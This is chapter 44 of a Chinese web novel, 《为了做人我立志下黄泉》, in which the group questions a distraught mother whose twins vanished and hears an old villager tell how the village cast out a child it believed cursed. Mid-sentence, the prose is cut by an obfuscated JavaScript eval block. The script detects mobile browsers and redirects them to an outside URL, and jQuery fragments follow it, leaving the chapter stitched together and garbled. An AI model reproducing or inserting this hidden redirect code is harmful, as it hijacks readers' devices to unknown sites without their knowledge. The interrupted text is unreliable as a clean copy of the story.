44.第 44 章
作品:《为了做人我立志下黄泉》 太阳照了大半日,到下午又飘起雨来,天色阴沉沉的,兰蔷几人临街买了几把伞,打着伞一齐往城外走。
一炷香之前,楚十真感应到客栈的孩子醒了。
商议一番,决定她先回去照看,其他人前往城外的村子里瞧一瞧。
兰蔷举着伞走在前面,思绪又飘向别的地方。
其实,如若客栈中那个真是王氏的孩子,他们应当将人一同带去的,只是眼下时机还不大成熟。她预备先查清村子中的情况,再设法盘问言实。
照理说他们本不需要查明真正的凶手,直接查探苦怨魂魄的所在便好。问题就在于,城中只有苦怨之气,却无法指向魂魄的位置。
其间隐情究竟为何,恐怕只有凶手知道。
这阵子因着下雨,不少摊贩已然收摊返回,出城路上行人不少,几人随着人流,十分轻易地便找到了村口处。
好巧不巧,他们一来便看见个熟人站在村口朝外看,也不打伞,瞧着一副忧心忡忡的样子。
不是王氏还能是谁!
兰蔷一看见她,瞬间喉咙紧缩,那日的一掐可是给她留下了深刻印象,今日要来,她还特意将身上斗篷换成了米褐色。
村里往回走的人也都看到了王氏,纷纷不由自主绕过她,贴着道路的另一头走。
或许因为那些都是熟面孔,王氏并未理会,反而就盯着兰蔷一行人,虽不像上回一般睁眼就攻击过来,但目光也充满探究。
兰蔷头皮一紧,忙往白雁归身后躲,心中直念叨希望王氏看不见她。范节见状,偏头奇怪道:“你怎么了?”
她没能得到回答,因为他们越走越近,王氏已经迎上来,看了看白雁归,又看了看范节,神色紧张地问:“你们有没有见到田儿和旭儿?”
田儿和旭儿,说的约莫是她两个孩子。
白雁归刚准备摇头跑路,便听身旁范节问:“田儿和旭儿是谁?”
王氏闻言,猛地冲上去抓住她的手:“你见过他们是不是?他们在哪儿?是你把他们抓去的,把我的孩子还给我!”
她的神色骤然变得凶狠,一把就要抓上范节的脖颈,后者眼疾手快,几乎瞬间扼住了王氏的手腕,满脸都是惊诧之色。
这个女人在说什么?!
从白雁归身后探头出来的兰蔷默默松了口气。
看来不止是黑斗篷,黑色的衣裳都很危险。
两人还在原地僵持,范节基本已经制住王氏,但是在王氏的剧烈挣扎之下,她根本无法松手。
姬千闪身出现在两人中间,抬手虚虚在王氏眉间一点,她满眼的疯狂便即刻敛了势头,使的力气也卸了劲,好似突然恢复了理智一般。
范节不知发生何事,感觉到王氏收了力气,略一怔愣之后便缓缓松手。
眨眼功夫,姬千又站回危离身边,后者在他回来时漫不经心偏过头去,懒懒道:“不是不愿插手?”
姬千扭头看向他,抿唇沉默几息后,忽然无奈地笑笑,一眨眼道:“来都来了。”
说完,他又凑近危离,补上一句“你不也一样插手了?”
危离停顿一瞬,嗤笑后冷冷嘲道:“我身不由己,你,甘之如饴。”
能一样么?
姬千状似恍然地点头,只是笑笑,不再多说什么。
不知被施了什么法术,王氏的神智似乎正常了些,范节松开手后她也不再盲目攻击,只盯着范节看了半晌,又喃喃道:“你们见过田儿和旭儿吗?”
这回范节也不敢再随便反问了,这妇人阴晴不定,她僵在原地,都不晓得该不该摇头。
白雁归看了眼姬千,上前试探着问:“田儿和旭儿是你的孩子吗?长什么样子?”
提起这个问题,王氏的眼泪便止不住,混在雨水里扑簌簌地落下,她颤抖着身子比了个高度,哽咽道:“是,他们是双生子,这么高,肩头有胎记,田儿在左肩,旭儿在右肩。”
兰蔷站在后边,探出脑袋问:“他们是如何走失的?”
王氏的痛苦之色更甚,捂着嘴巴痛哭起来,破碎的声音自指缝中溢出,无比哀恸。
“黑斗篷,穿黑斗篷的人将他拐走了!村口,就在村口!”
他?只有一个?
兰蔷本想继续问下去,但王氏已然再次陷入失常,她捂着脑袋跪在雨里,哭喊着两个孩子的名字,无论旁人说什么都充耳不闻。
过路的村民有人通知了王氏的丈夫,他赶来同几人道了歉,要将王氏带回去。
兰蔷拦住他,问了和方才问王氏同样的问题。
王氏丈夫叹了口气,拧着眉道:“我每日不是在地里就是在城里,我如何能知道!本来村里已经不再丢娃娃,我们还松了口气,谁知道……”
肤色黝黑的壮汉,说及此处,也不自觉红了眼眶。
兰蔷和白雁归突然对视一眼。
“什么叫村里已经不再丢娃娃?”白雁归问。
许是王氏丈夫太过悲伤,又拉着王氏要走,没听见他的问话,身影很快便走远了。一个挑着扁担的人自身后走近,几人回头,是那日在城外的老伯。
“王氏不是头一个丢孩子的人了。”老伯说着也叹了口气,“那场鬼灾,本来都已经过去了……唉,提不得,提不得啊。”
鬼灾?
兰蔷本就怀疑王氏的孩子被抓去做了童鬼,此时听他们话里的意思,村里先前便丢过孩子,而且不止一个,就几乎可以确定,巫蛊案的童鬼,都是周边村中抓来的孩子!
老伯本不欲多说,但兰蔷他们执意想打听,老伯孤家寡人,身边平日也没什么能叙话的人,在几个年轻人的死缠烂打之下,还是败下阵来,邀他们回自己屋里说话。
兰蔷欢呼一声,忙凑过去给没手打伞的老伯撑上伞,喜笑颜开道:“老伯您人真好,肯定是活神仙,可以与天地同寿呢!”
老伯也给逗乐了,笑呵呵道:“孤零零的活那么久做什么?孤寡神仙我可不当。”
“那我给您当女儿,咱俩一块当神仙。”
“哈哈哈哈你说的啊,你爹娘可得气坏咯。”
两个人说说笑笑朝村里走去,白雁归笑着摇摇头,加紧步伐跟了上去,看呆的范节也反应过来追上去。
姬千与危离仍在最后,姬千亦是眼中带笑,危离虽眼神透着轻慢,可那平日里玄铁一般冷硬的嘴角,也默不作声往上抬了半分。
老伯虽说独自生活,不过房子还不错,砖瓦砌得整整齐齐,里头也收拾得井井有条,陈设虽然简陋老旧了些,温馨的氛围却很有家的味道。
屋里没有茶,他给三个人每人倒了一碗热水,还拿了新做的芋头招待,兰蔷连连道谢,又是一通夸奖,乐得老伯嘴都合不拢。
不过说起七八个月前那场村里的风波,他便有些笑不出来了。敛了笑意叹出一口浊气,布满褶皱的面庞在昏暗的光线中显得越发沧桑。
他说:“那是我们所有人的错。”
事情的起点要追溯到五年前。
那年,村里的宁氏怀胎十月,生下一个男孩。
说起宁氏,也是个苦命人,将将发现怀孕之时,还没高兴几日,丈夫便意外离世,她一夜之间成了寡妇,悲痛欲绝。因她怀着身子,邻里街坊都对她十分照拂,硬是看顾着她将胎养得好好的。
谁知祸不单行,孩子出世的瞬间,便给产婆吓了个魂不附体。
那孩子面上布满狰狞的黑色纹路,眼下青黑泛红,任谁瞧一眼都得抖三抖,不说句邪灵附体都对不起他那张脸。
白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725366|171345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雁归下意识看了兰蔷一眼,却发现后者听得仔细,神色压根没有任何变化。
兰蔷确实没想自己,她听着老伯的话,脑中第一时间蹦出个人来。
启仁。
村里人见过有胎记的孩子,却从没见过这样的孩子,再加上是遗腹子的事,孩子爹去得突然,很难不将两件事联系到一起。
宁氏自己也害怕,所以便依其他村民所言,到城中最灵的宸英观请大师来瞧瞧。
大师作法相看,算了几卦,果然说这孩子身有鬼邪之气,吓得一众村民大惊失色,宁氏更是险些昏死过去。
不过,大师却道不必惊慌,此非作怪邪灵附体,只是魂魄沾染上了些许不详之气。他给孩子喂了一粒丸药,亲自取名启仁,便说无事了。
但有些事,口头说没事,众人心中就未必如此。
起初只是孩童间的隔阂,其他孩子不愿与启仁玩耍,那张脸实在吓人,他们不敢。发展到最后,凡启仁出现在他们周围,便成群咒骂、扔石子驱赶,针对之势愈演愈烈。
直至一次,某个孩子驱赶时喊了句“启仁克死了他爹”,从不反抗的启仁将人打了,两人受伤,闹到了父母那儿。
许多孩子都有大大小小的擦伤,统一的口供终将启仁的恶名传到了村民之间。
起初是禁止自家孩子靠近启仁,后来便不加遮掩地当面斥责、说闲话,再后来,村里有疾病、收成不佳、生意不好,全部可以归结为“那个鬼孩子克的”。
启仁超越了祠堂中供奉的凶神,成为了货真价实,能够被肆无忌惮挂在口头的瘟神。
大约七八个月前,宁氏病故,启仁成了孤儿。
这下好了,他不仅“克死了爹”,还“克死了娘”,几岁的孩子无人看顾,也无人敢看顾,各种传言越发甚嚣尘上。
没过几天,隔壁邻居家中的牛死了,事情传开,所有的积怨由此爆发,诅咒之名传遍各家各户。短短半个月时间,事情飞速地发展到“再留启仁,举村不保”的程度。
“你说什么?”兰蔷目瞪口呆盯着老伯,几乎找不回自己的声音,艰难道:“你是说,全村人将启仁骗出村去……扔了?”
就因为那些莫名其妙的事情?!
老伯低垂着眼,飞快地抬手擦了一下眼睛,苍老的声音被压得扁而细,像是在克制着什么。
“孩子爹娘都是好人,孩子也是乖孩子,就是有时候,有的事……它就是……拦不住。”
。
客栈掌柜伏在地上,身子不住战栗,整个人全身上下没有一块肉是不抖的。
头顶不远处是一双金丝绣纹鞋,温和的声音自上方传来,却夹杂着上位者的威势,压迫感滚滚而来,落在他的脊背,比赋税还沉重。
“别怕,你只需照实说,那几个举止怪异的人收留了两个通缉犯,还说什么了?”
掌柜的大脑已经空白了,哆哆嗦嗦的声音从地板传出来,带着恐惧至极的哭腔:“禀,禀城主,他们说,收到了冤魂诉状。”
顾誉眸色一暗,不用回头都知道身后的言实必然脸色大变,因为他已经感觉到,言实的身躯开始轻微颤抖。
没一点出息!
“哦?是谁的冤魂?”他语气如常,淡淡问。
“是,是……是前副城主,白户明。”
言实脚下一软,竟当场退后半步,对上顾誉回头警告的眼神,他已然无法控制自己的表情,颤抖的嘴巴做着夸张的口型,整个人惊恐到极致。
他用口型说:他回来了,他真的回来了!
顾誉掐住他的脖子,将人按倒椅子上瘫着,晦暗的眸光闪过一丝不寻常的情绪。
几人住店只留了一个姓名,他缓缓默念过,脸色越发阴沉。
白雁归。